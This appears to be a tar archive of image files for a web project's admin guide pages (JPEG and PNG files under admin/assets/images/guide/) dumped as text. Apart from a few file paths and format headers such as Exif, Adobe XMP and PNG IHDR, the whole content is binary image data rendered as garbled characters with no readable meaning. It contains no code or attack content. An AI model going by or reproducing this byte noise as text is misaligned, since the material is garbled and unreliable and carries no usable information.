ޡkV]ۥ!$1Jn*s0W \Saf#_r$I۳ ޡkV]OI'oP%DAAAAA ޣoooooF$Y=d$OIߓLOI'$|k3ʯQ~7+AG:OZ?j;y_Z^lzjCUFM-zmȞB͸ N7bt5A!{mnZ2h$)6 Jd&U"Zo+k]'I=:FQj5FQj5FQl6 al6 al6TO|zl=$>Bؒy dsײ  ÿerAJCH8. $ha"Зas?a߱=5H BhJ\L*aPIXxA5;>B;Xp~snI$I$I$I$H GH4 CP5 CP5 CX5 cP5A'G:GXwGXJ}iv? Gadmin/assets/images/guide/video_preloader.jpg000060400000033521151724235750015360 0ustar00ExifII*Ducky<http://ns.adobe.com/xap/1.0/ &Adobed 6*7O       0 0@P1!"235B#`pC$4AD 1P!AQ"2 0@`aqBRrb#3p!1AQa 0@Pq`pрᐠ l$b AbaX 02031 Ayy@37 ^XI%&d b @ "&u` UU$b@*+UI K9kH @6ʌ A$bVbaX@I d`¢T1312$pIRdDI@ I1A$ bRlO/&3bkD>z|( 6h2Ru&NX6 H׮|9P۠g^4$ڠA\K^I<ʼ@Ո&+(_VIT J@d2dwaR 386A \ =ē v@V{Q3aiWFtQdPmey:e`\o=b HH$IH  $HH3bf+1$EdH -P jVbo͚H SZ̋x356Mv$ Må9c\ lE3$K@ AIQY @)5cVpbQ ` H I$VbAITIhF F ̓h -EEdjZ@05+.+<tZ|٨ynQxVPQbZKH+AdA$+5Jj)Yj^$۠<ڗ|9@($>Խx<@1K;>bUL"unR^4 `V p ʸ B}mD/TW,/%9<@v+|z$ OԒ OK&gϝY$KٕyѰ|0AH"kIzGlIiGPl%=y >,5YQ fI LIS:t:}>O:t>}?ͺ(#HX[,drn "O~DEKMnkrbSs뒪}ܕ<,d\8¬;\tY uwRIt:}>>Oe.cLh-"ڍGM%_(tCe^nwhVZ5RjM+?7,!XhB$Mlę;\/~\KH;vzE\;FZ6f1ԏ}k~&Qa5z77~oӱ3mvgj8VOpe߉FA^vߩOahx0Ԧ=9(Nyr1ZQ=bQ=hѳt*$J*$J/Џ[#BfJzvDT^bؽ% ;"J֝f+4B8s&0dȖ]8*5c4=JdDL%VP\e2 1Ȅ|'iG^WhLvd0_^Kkmy-%䶼 ]y*J*s%TU*JRTU*JRTU*JRTU*JRT:TU* ߎ;i4O}o~;̞r{O<,[8©m=vZTD2yѶȷ)>;ű(Ȋm~q3Yon2$nwEdL\΍d6%LJ~7~p!;ɓ0Lɂ`& `& dɓɂ`& 2`2`& aMЍ*!vH]vWDgU*Jw U*JRTU*JRTU*JR?:v8R2pX%,;,;%B~/ s)N#5J@ N^\0(CAF[JǐN~d2X[ѷ({~Hm7L-\F+fwDJ'![3̤S$`$lyly/]ҧHѰmKE<w~pڿc!{RWݳs|w~_lq30L0L0L0L0LãW3,LzrzԾmj"RFA^vJgFԵ>.tzrVS! r.9 qanCnbv֥m{19ѷf>g.j7P$V?uKx6nŭ,ucʼ-&;}r{hSNR"F5FdGݡ T'kN)m8ەLӹvajVd[ʄ\-~z\7f^'ܬ3sX=Qof*拑+_s}:u8';ݛ]\^Kqy./%丌_?/?/?G0f3P(#:Q e SXKlSuԜTe"gZ %$8܃/j"ɢ5(V'z,! f'z8L=(pfrEt.P-O(BAI!<}ge|5.\oȵ jiw~HӪǶmMnxs#É޴"5-wRŇ{0oZ?5_=H7z80 _b`l]%BҰŶ@в5 _~d x-ෂ x"s"uSSSSSSS¸ۛG!{hSXiEBI22Mwi2Ye4 .pq[2Si4RȪ4H0 9"`4jOT𪉾0ULd&=Ir@H_]vjpljc;<.8⣣ D!B&WL7[ăaQ $eYb4&A:&T)3M˿`hG2 eP<NtS?pxQ=a3Oy_ru'UIs1<$jOԛPn^Q1;06l7-\U֢񚏆e۫D_4N۩uZXͧmܕ+(oq1oyX7PF Q[s(;nXѩUtx}vjg۩A- ˷]\:Hr^c{Dq7G}a4 F"dxH+힠\dnPq[?~00= o9L %l|z)Gb{Vj5ݫu t Jc~p PhYfTee&tp(Z݅fߵ)_P* :sxTF2+хma 4m7 ?U<Woz_7~ޜPI=coV[oVX\?!&>x8<<>ߴW<coo~:"k1F4J.iRZXN@f|rΰ̠`{ s!R_ B %̩ b$ ]|r ػZX*4Ff_=_B!D"B!D"B!D"B!D"B(B!dՇ71,"0rId sSClG#Mb2ۧ"\Sˌ 5X+j)P dRE!dRE%*))5N! 0PR"+a/]@ fĊLPVT &" 9A a@J oR (4*a(V > @=,-+H_Xڟ˄@Dz%. &28,'̳ӥEXU!t9Jc:c θErV=R&oưtCZ=iW+ϣMGu2DF$j Ƒ# ͹D"B(B!D"B!Eپ5G\6lŻGu3!dĠh<ʓؖy;/>@I뎴z70v]7<.P{{N s0] 1qЬ3sݕE5ڛwx49͹6ڛSjm f T!%P,v@Ke*t-w11 @,AB0=HAb,=Vrqn9%۾"tza&uPv)S8!Aq (p/3X]􌢡0'O1 +7,n&n&n&܏,SxO Wsخ1vm 8R!Km= 뇉pbQ /`Ÿd C+ZH:C[C:(BAn tnM:_ĽЌzx͝4A dܳ&2 @iX D5㦢>Q>_ #悲]^_aG{ ?EB4*>oeUUUUPvoHXG}E>H.Ih yw@0oTuæ.SNގ'FCSt5vF|ie5:wRl3m$ɑAG.U gmOCO'#ZB(m aJyB6g?X_7Ӑ7͐1 q<^ `w~):!./ a?| PJCr  ˮQ`"( Ep$X[ >>!>!>>!>(7= !|iOs?!?! mmmmmmmmmmmmmmmmmmmmI$I$II$I$mmmmI$I$I$I$I$mmmmI$I$I$I$I6mmdHiI$I$I$I$ mnm6`I$I$I$I$mm]mI$I$I$I$I$mmmm$I$I$I$I$I6mmmI$I$I$I$I$Immmmmmmmmmmmmmmmmmm"mti[- 6mmmmI$I$Mmmm[om$I$I$mV[%%$I$I$mՒ-V#mI$I$I6mI$i&mmmI$I$MmmmI$I$mmmmm'mݶmmmmmmHmmmmmmommmmmm6mmmmmmmmmmmmmmmmmmmmmmmmmimͶmmmmmmK$I-mmmmmmmmi.mmmmmmmokmmmmmmmgmmmmmmY/fmmmmmmmk.mmmmmmmImmmmmmm$mmmmmmmmkmmmmmmm_KmmmmI$I$I$K$I$I$I$MI&m$IM4I$i$I$m&M$mm6I6mMi4M6iIom}omoo}}}}} @$A;nI$I$I$I$H$}ے $I$I$I$ $m{lYI$I$I$I$N og"I$I$I$I H;o}mI$I$I$I$H$F}}o2I$I$I$I$ $mmmkm}o}}o}mmm}RI$P$A$mmI$I$I$7I$I$I%IlOĒI$I$O2$Ynۗ$I$I$omm$I$I$oI$I$I?oOom@}o}m}om}}-m}mmo}m|momm?moom}o}m}mm}mmmoo}o?oo}mmI?}om@$mom@!mm}$[mm}o}n^mmooo2I$mommmm}oomm}mmo}momo?D}#iHF>}#iHG>m#iHG6m#iHG6} shF>m 2mq tBGC9%7<؍Ժq s02̨Yd2&Hk $#@cʹT=(>0h;`\C|  d!@NxXq*pzBh +=@Q0WsS )pG\.! hDO}ɻdp&Q&VI3u[PL"2U] $Y@+L@Bć~( oo~yzTH(Ɣ q*^;u$gXI7, &B]-&M#a8Xp1 S!¦y>!H*&㥱֐ ((4"p{,#:Eizj((U/:->95 ڀfD"yt ҵ]PhCp;N{4XkʱfsI5%N:O,ے6` A FmSÀv)I'xPF5D:h0Ft܅ HB] `NrʃD0Y1IR {Dр $mBSxzwhC(0q4PI/Q BIr8i0bΌ`54H|  P`E$[_'ȍ!!R x8XW J''''''#< J ^hhOcqqq8qq|qf888q88_8qq888x8<\xV<\qqqqP/(F6m#iHF6m#CCCiHR^HF_eq޸6y  [3flM6&؛3c `Vje^ɔq%%aˠ0n\,ˀq% 2"l!d=9-j2>v0 FcI!!43b&$lp60 b$$lMqXna/}^{]OoX|m` LVHQlؠJNB}p:XAK5$xk0'dBRjعB|NQ%fJE :Xb r萨  HH %~l S3r{W$eMzr@EGKc"6;"IP w ,ZVA4_!xP5 hV.x8D  O__=-MseY#0{L& $XQ+P C"E-K2J51SmwsA}h~\Ɇmiվ "SP E#qc\kJւӽ , 69 C+詵;.&@DlfD†AG ElY/`b աrS8q4cռy(d0AL0 0a-`HaS 2'8@ }Q?3}AJI$(Ƀ˧˧˧˧˧Ϧ0@;(/?_?c4<_|q>}|_Vԇ!?cюz1?b}|nþH戮;C??} admin/assets/images/guide/guide_auto.jpg000060400000034346151724235750014350 0ustar00ExifII*Ducky<http://ns.adobe.com/xap/1.0/ &Adobed S.8       0`2@130P45!623@`40!1PAQ"a#pB1@Pa`1@!Aq0PQp S )@ Jd%2 L@S )@ ͠ S JdӸ0%2twH&7ʠS 365L惵@%27MwHEA L .)JW@ Ȅrt@S )@ Jd%2 L@S )@ Jz`(" ("NJdm J BjPD P OO8kF @o3w{K&0t`.ivd9Ό.̘7рٓ:0w2cgFfL`]Ɍsy ]1o3w{K&0t`.ivd9Ό.̘?լp*xAgFfL`'tW`|T`:0w2cY?S嗴r7сt]ɌZG_ tc,];,.̘dErsy̐/Z .ivd*z 8:Ҵ34@ ]1;.޲"η:0w2cgFfL`]Ɍsy ]1o3w{K&0t`.ivd9Ό.̘7рٓ:0w2cgFfL`]Ɍsy ]1o3w{K/+k,@]ҊJ+(]ҊJ+ݻ8w{J)(!z^sy^j(ߝ:.iE%)]ҊJ+,x{'|g8p3 g8paöl ,;`Xva÷ʄ)jgr3܌Fw#;gr3܌Fw#;gr3܌Fw#;gr3܋B[?wOWyR[)aBԅ<\.G#ˑyr<\.G#ˑyr<\.G#ˑyr<\.EKW&ˍenڱƜiƜiƜiƜiƜiƜiƜiƜiƜiƗ6zLC1BSl1_;t;oIt*dLWn_A,;`Xvaöl ,;`XvyGyGyGyGyGyGyGyGyGyGyGyGyGy_<;GhR!_SCc:RȷTO۩ȅ(Ϟivn73!/a=$;@P2 e(@P2 e(@P2 e(@P2 e(@P2 e(@P2 e(@P2 e(@P2 e(@P2ܸ8888888888888%PT0-p-p-p-p-p-&d.pg .pg .pg .pg .pg .pg .pd3$?.Wg~]>zϠ*]!RO&t393ks93ks93ks93ks93ks93ks93ӦN2n~mշv6> OCmO?4~hG?4~hG?4n{c. TVZJ-]N-=/Kmpyws6I-8Ӂm8Ӂm8Ӂm8Ӂm8Ӂm8Ӂm3x<x<x<x<x<x<x<7 oKMǧJ;6OP+pZv׫Fn==Nӻ N-ɵOU+wk6N0T&=dVIY%dVIY%dVIY%dB9i:p,8N 'NӁdtY:p,8N1ȬJ+$J+$J+$J+$J+$J+$J!:~Yz:z:~Yz:z:~X2J)(J)(J)(J)(J)(J)(J)(2$fLG#r9G#r9G$_A'OCs[}= ImtY:p,8N 'NӁdtY:p,8N 'JՔp8p8p8p8p8p8瓦v 'L8Np$3I:gitӁ$靧IfQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RQIE%RB=%RQIE%RQIE%RQIE%F`i,Xn 7VՁfu`Y,Xn̤J)(J)(J)(J)(J)(J)(J# ɺYZYZXG"*******s&eqn7qn7~?A7WCo\}] Iqu`Y,Xn 7VՁfu`Y,Xn 7RS[qn7qn7qn7qn7qn7qn7q盪V 7TXnZ$R`IjuJՁ&ꕫMUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTF9?b"""""""""9=bo&j""""""""""""""""""""""""""#?x??j)FN'd2p8 N'd2p8 N'd2p8 N'®HZbߗ-W|ޝ#=р@|>P(@|>P(@|>P(@|>P8\[ =Oե.Kyr[˒\䷗%-o.Kyr[˒\䷗%-o.Kyr[˒'v@_~d| q+K~&_xq+L~&_² L}bi5w$Q1>W:Ç8pÇm'Qd2u:FN'Q%fY8jN%fY8jN%fY8jN%fY8jN%fY8jN%fY8jN%fY8͇ 1=Ocg|b{lLl4/5=3r´DJp/R ԧ)Jp/R ԧ)Jp/R ԧ)Jp/R ԧ)Jp/R ԧ)Jp/R ԧ)Jp/R ԧ9ZcC29GIWY2 :g}?շoaQusEQG1QusEQG1QusEQG1QusEQG1QusE_}Oճgn Lcyqy3/G32;c:?㢧5Id |D?u:FN'Qd2u:FN$v ٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍٍGg+I=sa< b~A脊Ҿ^]}3#-ә~A;Z\|I6GhѣF4hѣF4hѣF4hѣF4hѣF4hѣF4hѣF4hѣF4hѣM??!еUUT_DmϨAL2 d)S AL2 d)S AL2 d)S ALSo>](Rp,X߃8D˨L0 `)SL0 `)SL0 `)SLS.bm&֧.-]vpDDDDDDDDE܇JmKf6qwwيr"`1^z5Nð;ð;ð;ð;ð;ð;ð;ð;ð;ð;ð;ð;ð;óϮo(~F9_A cCUۻ1BScSt-UUUUUUUUUUUUUUUUS5?p>(ρF| 3Qg>(ρF| 3Qg%4} 2_CL%4} 2_CL%4} 2_s{5h~oFٸȢ((((((sVsjLE2_qEOvsř/W-j?'ldQEQEQEQEQEQEQElգQ5f˽~'v]-fKY9)3333333333?xC5frFʊ1qɺ3~̴P>ޟ2_CfL%4} 2_CL%4} 2_CL%4} 2_CL9c} 'OA>} 'OA>} 'OA>} 'OA>} 'OA>} 'OA>} 'O.Dг%Ȓd[|S%ȒO9iU*Pq+(w\ن۹jzիQ2\-=:;*1Tow~d[wI~nfK%,q] ;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wnُ?!OrK\$%.IrK\$#lm] mCl.au ]t6롶] m6ʾ.vK]d%.vK]d%.vK]d%.vFVی]6lfW^3eu6_(d%,fK2Y̖d%,fK2Y̖d%,fK2Y̖d%en3aunUЊЊЊЊЊЊЊЊЊ*S Oau8Ol.au ]t6롶] mCl.au ]t6s!U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_U_ϰ]MB.vSquл ]]t.n.auebĖ$%,IbKXĖ$%,IbKXĖ$%,IbKXĖ$%,IbKXĖ$%,IbKXĖ$%,IbKXĖ$%,IbKXĖ$%,IbKXĖ$%ec?!Oj PZ-Aj PZM hmCo.yt˦]46顷M hm>6-Aj PZ-Aj PZ-Aj PZ-AjGߌ]?6o.fN3yt7Oۗ/Az ^/Az ^/Az ^u_~3yt๎twx;wwx;wwx9u7N u|p?]46顷M hmCo.yt˦]46顷M hmGwwx;wwx;wwx;wwx;wwx;wwx;wwx;~}]4.m.yt6M K] B.wCitлˠۗ/Az ^/Az ^/Az ^/Az ^/Az ^/Az ^/Az ^/Az ^/@ $I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$mmI$I$I$I$I$I$I$mmI$I$I$I$I$I$I6mi$I$I$I$I$I$I$MmI$I$I$I$I$I$I$mmI$I$I$I$I$I$I$mmI$I$I$I$I$I$I6mi$I$I$I$I$I$I$MmI$I$I$I$I$I$I$mmI$I$I$I$I$I$I$mmI$I$I$I$I$I$I6mi$I$I$MmI$I$mmm$I$mmI$I#mmml $I$^mI$HI$I6i$I$I!mm $I$MmI$I$Kmm2I$I$mmI$I$mm̒I$I$mmI$I$I$I$I$I$I6mi$I$I$I$I$I$I$MmI$I$I$I$I$I$I$mmI$I$I$I$I$I$I$mmI$I$I$I$I$I$I6mi$I$I$I$I$I$I$MmI$I$I$I$I$I$I$mmI$I$I$I$I$I$I$mmI$I$I$I$I$I$I6mi$I$I$I$I$I$I$MmI$I$I$I$I$I$I$mmI$I$I$I$I$I$I$mmmmmmmmmmi6mmmmmmmmMmmmmmmmmmmmjmmmmmmmmmmmmi6mmm|mmmmmMmmmmmmmmmmmmmmmmmI$I$I$I$I$I$I$I$MmmmmmmmI$HvmmmmmmmmmͶmmmmmm[mmmmmmmmmmlmmmmmmmm6mmmmmmmmmͶmmmmmm[mmmmmmmmmmlmmmmmmmm6mmmmmmmmmͶmmmmmm[mmmmmmmmmmlmlRI$I$I$Gmmm6m)$I$I$I"mmmmͶmI$I$I$Hm[MmmmI$I$I$Im֞lmm$I$I$mmm6mmI$I$-mmm&mͶmlI$I$mm[mmmmmmmmmmlmmmmmmmm6mmmmmmmmmͶmmmmmm[mmmmmmmmmmlmmmmmmmm6mmmmmmmmmͶmmmmmm[mmmmmmmmmmlmmmmmmmm6mmmmmmmmmͶmmmmmm[mmmmmmmmmlmmmmmmmm%mmmmmmmmmmmhmmmmm[mmmmmmmlmmmmmmmm%mmmmmmmmmmmmmmmmm$I$I$I$I$I$I$I$I!?\\\\\\\ m>gCl|Ά :ct6m3>gCl|ΆUnfٸ888888㏗sڊ3cwt 7MPm8888888-Ɍ7r=y^N,>ʛ(9S"""""""""& 8gvATahe}DGۇ6g}dM3>gCl|Ά :ct6m3>gCl|ΆEh***************************>d &]7>'pcMωYuzUJP~T"as5;=Y2n|Oss++ 6cw~wwsxtٿwwwwzst.̌2c˖ e 7g h}3rwg'`ngrҕg9%f[,,,!Zuffffffffffffffffffffffffff,,nzekjg]-Yգ{|s1wRƍ,;չ?jMJG493j^FS+yǫYgۦ7'#qW9Yeh?1gsj?X,,,,,,,,,,q+,,,,,,s~cW? (PB (PB p&ɶm`& m`& m`& mr塥CK- .Z\4hir塥CKq?F `* `* `* `* `* `* `0raM._,8ɲ%8_!WU|_!WU|_!WU|_!WU|_!WU|_!WU|_!WUMќJ~r໐Mg؇Z[7塀%CK- .Z\4hir塥CK- .Z\4ZkLBDDDDDDDDDDDDDDDDDDDDDDDDDDK\pвC"8\p❊\pr!Bːb|!7M|!7M|!7M|!7M|!7M|!7M|!7M|!7M|!7M|!7M|!7M|!7M|!7M|!7M|!7M|!7M|!7MLQ?j*TRJ*TRJ*TRJ+O7СB (PB (PB (PNGrJ*TRJ*TRJ~d#n]Tm OgY|!gY|!gY|!gY Q444hhhѡCCF 444hhh*gY|!gY|!gY|!gY|!gY|!gY|!gY|gt#CNdh~f``, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6ʻ ޷oa>} 'Oa>} 'Oa>}:Sj] //F#CCF 444hhhѡCCF 4 Et*'Oa>} 'Oa>} 'Oa>} 'Oa>} 'Oa>} 'Oa>} 'Oa>}~x'KBƁ:Z4 бNt,hc@- 0YlfYlfYlfYlfYlfYlfYlfYlfYlfYlfYlfYlfYlfYlfYlfYlfYlfp9Wadmin/assets/images/guide/mod_addons.png000060400000040215151724235750014326 0ustar00PNG  IHDRi}iTXtXML:com.adobe.xmp ZlOiCCPsRGB IEC61966-2.1(u+DQ?3CG 51c_7ϼ5oHUlRDJ zΛQ3ɜ۹sӽ7 "F&gE#aefvNzSlsbj$FYƛnVsZbS-4eQ<%Wgj =bkUWrah vٓ pHYs+ IDATxyfu';[kfl6wIͲ-˖e'3 q d8HAFg$Ȓ5ڨIlnRTշ='*vW2&9{9N{?o]g{g{g{g{g{g{g{܂_*;TˏtCD5T5 CV.[+iC&<)DHNi9ԛ ٷ3&ˠ'ľkq"QAJ@D(_@=@D jXk€`Hپ< P!r@IWo +#ڌtJ)SRS &R"T Tޒ&t]((tR|v(z"F G<}tIR@ C + &A!(tJN6Л)g-zĀR& M𴪄'S9"fr?nNDjL a" ADd0e?〣N<eeD'[iX壳4i(+GIAU"@ ID!Ԁʐ7\:%`V8S'X)2"6P@2HhJn-C #&&V&%C` 03Bb&b5D`27hspf3sz Kc#(gI V%PH2 R8HE}!p%++ 'ھAI8W~JU0d,XwRy:F)0XH U2@JYH\$FVrTHT(0?PRO6an9;+@H ^x_RU%2/h{))H6¢ݎT*9*L)(܄A# HB!`HPP7 ARRI2-~WjB^udgEgz6TIlT!m&}O-'iNR^|@DD uVTDN@TSW@U(?M4@Hсv~LB+Rd>_@HyU()q <$m}Cl(.V ˄'VNI/"7kN ARzOJNhAH9 gE_4c-RUz5 Kt"V@$l"dz鵎%.v$ͭȾgbbOe8u" qDBD ꘀC{~g{-Řxp ! B>d퀒dR),w8a0PJOeDwwl$ &UV\b̉>n <B@F8`\UkOc#0T;En>qfg'(zs3 baI/(~q^1QzELJ5' R9k 2ﺡ u^D%Ubcy^h 6kM/^EQ{];`L2J)W%Dj 0{hj}đCӯg}ƍ|޵˫q՛5H&g050Q H!@^ ҤP'B RY.($mv76imRM`Hh#ziՋW tc_5:u.ՕdC;g.&LJ U9I:G-+GF,/~7n~\;g/^s|ɇko\:w=I"&(;K]U')7Yf'29ת;[Lt]FHsE:=}]Ӌ3q#y/gZiKH& iRKTl˃r^DZX!$G]Yw<օk[EZ{ ҫUEԁqR c'=?\puJ H#s'/;t~eܕ?_\pu%6q'X g.QTXt&~kЛ?\n>'~pFQt酝0 X2Yν#fV5NRUQ9gH$ / t(ܙW^} gK_Y .VZ :QQ]GKO==+*թtѬ/\"C0%ts95?=wݏlO?~e fouy}6xSOڍ:\C+ݭ8;F6Z=Gr4|Oֱ/~J=NExj>|3cSAM W.֧~9}œa@ƛs-Л3 ؎  7~?sK|{G1&ꍵt؉%#?|g>ʵ~odBp0\|0 OO` /h̳oE'O7~i=Y:<{{Hs/10ۚi# 3wo/yOn̷3SK(2 0R'\Z}gd{a:t7o?]Gg_X7| F=򫃄ӼpDPց (Fs2F?ۑ8N€'֫sSs3/ފfiZsz (Hv`Pq"H7ٟJBY8~]]?t֪zm>=7uK_Z٨[6U$B+aYݼk.w(wV^<W@-?QT vz[YYn~xjp=y G[Pt~u. /y 𵁹?QV8G\-7ZJ6MT %"U"NLRSZO7μG1: 2Lb( Ov\PH]9ԢΙ in1_9쪈XD 2a1Shڨq~iezgm;6~xdÒRƋ@ $dg&uM]6u$L}gk".HȻ@&@FVaMt_qo(EvݱjX`񿞮ONJ\<OU+@ kN%PlN.:/ҿa(7YرonuV7Ic$z*y'&2QtH؂ {F(p8XEtݫިn91ן^:>Ƀ׻ mRᘍί_=߿ֹDb3p*iFsʙS+5J՛ !MKߣxO{Ij(16s.\_[ FK`q.ɲw^{csy?|8Ox聇>S@?#$BD 9 AI8?W>@MPdWHbc*%r쉪78Y o[Hji'!1Fݍk;+kYaZ:}HȌj|c=L>-2T:*l]Ɛ-qF]bJt/wꗉBq#n]t¥ o`9CHhOkNxD ` 0Wݖ>PF a!x{XH`* PB Ub@Du ٯ'T"H]e8Ra" .' JOv\]M"U8QFx;̓2+v)C'C]JJg*T\F˕H  *~GP&BT!fRH(@"JfJ!Y @ȇ=Y P9EzSfLP2!⟪"EԚORCQܸK D*Yg>D0sNDYUs"mL3YgpX**k~~꾇~l0菲fy}'(n{dp9qS')Owop!n݊ډ6[ &ʳsӷAwݟGlyVҘ%tQoԚӧ=l͜:yt{{=5n7=,xЭMU't;Ӈm07I:90nN^kGDWC$Fttqm\7G#G1Fm,?N!fr%>vuyl4ٙãN~}qF2|$bgsk_8s{[4C3O:b̵)U65g wl#FՕe[P=N-;fcߛ'NL<õz ?xZrvF$ig{`hܼ"`8vI2^qBR`j 0zm9 gLpU+/.T]tˋ< V)lmmlT]Φg6|Hw4X}W7bDD loҤfH._ Cׯ\Ή$tsDKb `kgg̋Օˢڍv@٘9F0z}84(@7.8h3L a&24  HTp0Jk BZ) GB9Wf:kj5IM, sqBGI(6& 3& u6cnπۻ18|vvmoSvgq{86OFv΃ݞ%{?oUt>pVFdE ; MI]NN0 z?0~)eFD&MՒ%R"s7{nm0-p-u=pw>\ҥOc:lu]u2 J"JoƏh=dBl*v;O +H #ߢTH}'Ro={p@HNsUU2PaɣC}Zcc\v(Iz19b7ſtWuO<p:F%&M#F} _̐T+F; ,>,INТ 2|ɧmwh RHl7vc(;Vy2b;ilT9ȇxx`_sLfw:Zi4e(7 WP"Hq4]5T83 sn#2eX׎Y`Rr,D_sdM0,uߪxף (|ej!){E%*T H  :up *ʾ܇*yl2,8ZQPE_?;?z2 JsDg0jAJǀ* @$R`P(UQ2=ҁ9 $ʞ@rsv+/ؙ% \zÊ)yF{M9{5NΑ )#kԔ{u)/ʪFAp a %!'ŇO 9d9! t'+Q]7 ćͪxO%4RzI 9VK0jɠn0NYB";*UP4y X%yžKL Q*:@&Q~,ivQ hnmK<^ U&͉[52?Zc@UZ*̌/YUoebǁ @{Z'OIDATm23b^ 0! kpNG2Ī:ဢLMbp (ʜNJ[ꘌF@I Vf&3s]wp ydCuj|]],#UTn^bp #Tqxf09 l-5[ Qϙmk4"Koh\O;Nkݏ.|Orns T`kԐ[4)AA=f9Ν=*BDRE'/G1-=PDȱG'yeBwەMȑc240* }.^)b^y 퍎7cGvNKWbxyPyڥja~fy$t&Tp 1;j!NgrgJOk Ԫx݁AאX;eѠ1N\DX3/J3[%TT%3>$IoDLtKbu==H5j;˿s_vd Pm1`gb(M*CHI 2'B - qPsmk^(:`uTۄ$?{*7ޠ[k0N9 NqB G+BAWf1ƁBrw2p" ^lO둃SҁtApI#b8%]mgv2kR2qB;hq-3+77OsWѴ.n[az+ga.ST u~]ntSO_#Ao6f^xyQ׏EXVz]Z_NOMEp}uQ|TA^>tsk+q4g^8/h6Aߗ 1Z֞{Q/RN gCG:{>IϜ]rmwn}~ss/g=p^dh,oKt] 0 ;ܡY7?Fv]ҩчI=!lUD}GFތb,s|f`T0XTH#?KutG0 rgA75?# ]e _NiU040?G_?~췾Zo~OaأfwL5i8P" vvѨX:\_)C/uӟS~/W.IDǮƌZtL[SQ?lp0t@[*x8*[O6E9Uчx0EkXp9KҋlRU% ٝKWްw|BPY/ Tߟ*^q͋fLyV@aXE_$/oy9+ֻ.DfQ( 50pjt0r܄YQʋ=QA_|ŷ?yTnGPUVo Ole3b;oln &~bq/s=l666gfڋf9WC (n(̔b4ipR[`P h_z60L7ZMk;/()؁z#j'Oc7ȱ:RkwB~w;]x7^?'O\.\0 ʀTmñMff?}ߟ?v/.\w?jͭ$|ΩZ9@#VX!:|oa!|koS=Xp,.-%gB_Ftp}kruwt{߾q vDG0-˟^e٦CshԺo}G mXk6z+#A\$O_⛷AeZ`9%4A7NgUN\5en?ҕՅzR \Ð$\5*r[*k{]}IXnA"ԙiM/S>>w|qxv])[k_W:x}׋8.}ɾe/8#,\2=3 /O* |#=sg  {&a^-OkvA-eU0n{HUJU͕iPb&RLŲdQYۻTM86Z432CY/ŪZyLf!>ށ5*V|;ie_U {0d= V'Z(wǪJ sTap yN@Iĸ(L|v&(V@;!'UWI$jBP(?xW_ gx=DٽƱMG/W|r}|B:RF]qqg]i;Q@}.RkΟgp[.b|<ޘs1/A:9CLۚprpcl Qui%yG& [-Yxvw=I>t@шwѲ;w}>~G T }DĶV@k)J7aD)JN}ӕЊ ھy\wt;8n}~^Uny&\p7=n?ڝ?_9ӮX}3y>`<ϭsr"B6c+Xck$˲piYYTRs,b8N;cd u:7ϸkuNcf*|ew TӴGjoYZrp}Zj"Zq[[B\q 2SSSѫnXIĉ""f@q00L%iFp TEZm41Ngp6`c ( 0CÅEQڜTeG]:2wKQ8?Y[iNMגEvǟ|ƅן]?is0ԮXVeٹv#QqN)N$I|dB\aw7W[CG^]ߺq}Dȑso˂}ti.gyaW∲-w=b8_Z^SPZC,;yh-hna刅Q=C~ꍩGY~r}TXo6vjwSl=#_yʰfa{1ͻۛn|‘z$i~[5w6Bfzȑz#|Zm4dn&B'[ O#c_ُ?}1M8۞ w(1U) y篾F㯘(Qlo/0A? Z(V㴕ٙ[8 G Ѩ -pI&L42R'WnDQY\C%u0$&0gf~/甌!QlڢsGR9i'Y62&L0/l^F D$p0xjz*M|p'7܁̃A9qq+Ilnki#Fa ⼙e!w3Enֲ1*bL b ;[=\kT Jv- fc(4r;'l%"k WE% g-D5( {3}w@Ѿ8SLlwnI똨ד/Uۈ 0+4wlRb2@*M;=Imk_p" f1%<9rmB#Qչ8e}a| '^'3ɩѶSyX+cqo\njܣ*8GP;O[U @dޝC8clܯ>'nOût?Wl\[0ڕX>׎G0ct}tُ!,?Wŕ Ljop6SMm+NLD(H JZ&=<|fV@ʨOYΖ V&Rb.?"yV;|q줇72c&`C֢??ȽɌ#"P k`UłecȄlYnc'܈: bxPk  I$WfzYNU} nn\=֡<`7HRY0ep n^ BA|nc8ܼzsV2 aD)rqKiw W9)IU_*lD: ՓhpQ_5l޸;lѪ:|x!2PzByXu]r7̹N_VJ\qOPXrYh+~uAq\o+9`6d/K.%e9WtI\=2Qpv߽beT@οUy*?އCKPl!{滍AJ& |P1*B<1)2לJ$Hw=$_j0(dI81n>\1Iog:ci-֡zk:FPC:oIJe<{y#"DeJy?oCsA,^-Q0)~zM5\} a"xRآ*8<&Yw=2F/7cIhith Zo^BԂ:EuĎ@Il܏M>jlrk[E:cI,-ұ7F~3#^멊(PeR6[~C3|J_yʄKa B\i+Q/D˳I&tFc"rF!:s19: qÚM5zfur@J:*^/_dwu&IENDB`admin/assets/images/guide/video_backgroundmedia.jpg000060400000041300151724235750016514 0ustar00ExifII*Ducky<http://ns.adobe.com/xap/1.0/ &Adobed 1kB       00@P !125pA"#34`B$D 1!APQ"2 0@aqBRr`#p3b!1QaAq 0@P`pဠ  :49=2H. PqrNc*Xs:LN S#ȹP(!@fe Kf1$ڴ12Aֵ$$S3ՠIԃ0@N IP$jXb `ET,A jaВǘX 7,dA9XD*&_O*$IRd$TROOIBpdp ʝƇ1SWS4:(b*Iˀ J畀$X~a"|v ,Tb̀~Կ^0>P=*yX?j_?;?1L@WS:+Р @ Ui tXHRUW^K=LI^ kY[٩ؿ2zS̲&fg5Ny`u{ArdOdȒ#<\Jy`]wLHUx+v I ! A (Q,$-J@jؐ4 (@ ((IP )5BۯZZ_ds 9$-LJ A+ w/9c4:\Kgr*n&Ϭ UԠ>r;O=I:'IC p֥@D*`UQ!SiVCD: 0& NE{Yje&MeqffKlz鶫_/gSOԯ!tt!t'd3#"efl)d?8N:ttӄtp8NNӧN'N 